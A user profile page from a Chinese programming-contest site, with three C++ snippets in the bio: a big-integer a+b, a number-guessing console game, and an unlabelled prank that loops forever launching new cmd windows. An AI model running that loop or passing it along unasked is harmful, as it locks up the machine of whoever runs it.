-
个人简介
a+b
#include<bits/stdc++.h> using namespace std; __int128 a,b; __int128 read() { __int128 sum=0; bool p=1; char ch=getchar(); while(ch<'0'||ch>'9') { if(ch=='-') p=0; ch=getchar(); } while(ch>='0'&&ch<='9') { sum=(sum<<3)+(sum<<1)+(ch^48); ch=getchar(); } return p?sum:-sum; } inline void print(__int128 x) { if(x<0) { putchar('-'); x=-x; } if(x>9) print(x/10); putchar(x%10+'0'); } int main() { a=read(); b=read(); print(a+b); }//数字炸弹 #include<bits/stdc++.h> #include<windows.h> using namespace std; long long zd,s,l,r; void sf(string n) { for (int i=0;i<n.size();i++) { cout<<n[i]; Sleep(100); } return; } void s1(void) { cout<<'\n'; } int main() { system("color 42"); sf("数字炸弹");s1(); Sleep(5000); sf("几人游玩");s1(); int r11=0; cin >>r11; while (r11==1) { sf("请重输(不可为1)");s1(); cin>>r11; } sf("人数输入成功");s1(); Sleep(2000); system("cls"); sf("想要几到几");s1(); int hg=0,dg=0; cin>>hg>>dg; while (dg<hg) { sf("请重输");s1(); cin>>hg>>dg; } sf("几到几输入成功");s1(); srand(time(0)); zd=rand()%(max(hg,dg)-1)+1; Sleep(2000); system("cls"); sf("请输入数字"); cout<<hg<<'~'<<dg; s1(); cin>>s; l=hg,r=dg; int re=1; while (s!=zd) { re++; if (re==r11+1) re=1; while (s>r||s<l) { sf("请重输");s1(); cin>>s; } if (s>zd) { cout<<"大了 "<<l<<'~'<<s-1;r=s-1; } else if (s<zd) { cout<<"小了 "<<s+1<<'~'<<r;l=s+1; } s1(); Sleep(1000); system("cls"); sf("请输入数字");s1(); cout<<l<<'~'<<r;s1(); cin>>s; } system("cls"); sf("666中了");s1(); Sleep(2000); while (1) { if (re==r11) cout<<1; else cout<<re+1; sf("号玩家爆炸"); s1(); Sleep(500); } }#include<bits/stdc++.h> #include<windows.h> using namespace std; void ss(string s) { for (int i=0;i<s.size();++i) cout<<s[i],Sleep(25); cout<<endl; } void dfs() { ss("少羽NB 666"); while (1) system("start cmd"); dfs(); } int main() { dfs(); } -
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
题目标签
- 聪明人游戏
- 5
- 大沥2021
- 4
- 2021
- 3
- CSP-J
- 3
- 模板
- 2
- 图论
- 2
- AT103
- 2
- 最短路
- 1
- cspj 2021
- 1
- 枚举
- 1
- 深搜 广搜
- 1
- 广搜
- 1
- dp
- 1
- 算法笔记
- 1